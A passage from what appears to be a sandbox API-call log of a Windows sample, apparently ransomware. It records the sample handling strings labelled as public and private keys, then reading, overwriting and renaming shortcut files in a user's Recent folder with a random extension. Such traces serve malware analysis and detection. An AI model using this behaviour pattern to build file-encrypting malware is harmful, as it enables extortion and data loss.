ZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.787] GetCurrentThreadId () returned 0xa30 [0081.787] GetCurrentThreadId () returned 0xa30 [0081.787] GetCurrentThreadId () returned 0xa30 [0081.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J9WQ72qd-NL9SUaxFK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j9wq72qd-nl9suaxfk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.787] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.787] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.787] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa8f [0081.787] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.787] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa8f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa8f, lpOverlapped=0x0) returned 1 [0081.789] CloseHandle (hObject=0x124) returned 1 [0081.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J9WQ72qd-NL9SUaxFK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j9wq72qd-nl9suaxfk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.790] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa8f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa8f, lpOverlapped=0x0) returned 1 [0081.792] CloseHandle (hObject=0x124) returned 1 [0081.802] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J9WQ72qd-NL9SUaxFK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j9wq72qd-nl9suaxfk.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J9WQ72qd-NL9SUaxFK.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j9wq72qd-nl9suaxfk.lnk.zv7un")) returned 1 [0081.803] GetCurrentThreadId () returned 0xa30 [0081.803] GetCurrentThreadId () returned 0xa30 [0081.803] GetCurrentThreadId () returned 0xa30 [0081.803] GetCurrentThreadId () returned 0xa30 [0081.803] GetCurrentThreadId () returned 0xa30 [0081.804] GetCurrentThreadId () returned 0xa30 [0081.804] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe21b4c80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe21b4c80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe21b4c80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe6a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="jRDJUl7IMjUxPV.mkv.lnk", cAlternateFileName="JRDJUL~1.LNK")) returned 1 [0081.804] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.804] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.804] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jRDJUl7IMjUxPV.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jrdjul7imjuxpv.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe21b4c80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe21b4c80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe21b4c80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe6a)) returned 1 [0081.804] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jRDJUl7IMjUxPV.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jrdjul7imjuxpv.mkv.lnk")) returned 0x20 [0081.804] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jRDJUl7IMjUxPV.mkv.lnk", dwFileAttributes=0x80) returned 1 [0081.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.807] GetCurrentThreadId () returned 0xa30 [0081.807] GetCurrentThreadId () returned 0xa30 [0081.807] GetCurrentThreadId () returned 0xa30 [0081.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.808] GetCurrentThreadId () returned 0xa30 [0081.808] GetCurrentThreadId () returned 0xa30 [0081.808] GetCurrentThreadId () returned 0xa30 [0081.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jRDJUl7IMjUxPV.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jrdjul7imjuxpv.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.808] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.808] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.809] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xe6a [0081.809] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.809] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xe6a, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xe6a, lpOverlapped=0x0) returned 1 [0081.810] CloseHandle (hObject=0x124) returned 1 [0081.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jRDJUl7IMjUxPV.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jrdjul7imjuxpv.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.812] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xe6a, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xe6a, lpOverlapped=0x0) returned 1 [0081.813] CloseHandle (hObject=0x124) returned 1 [0081.827] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 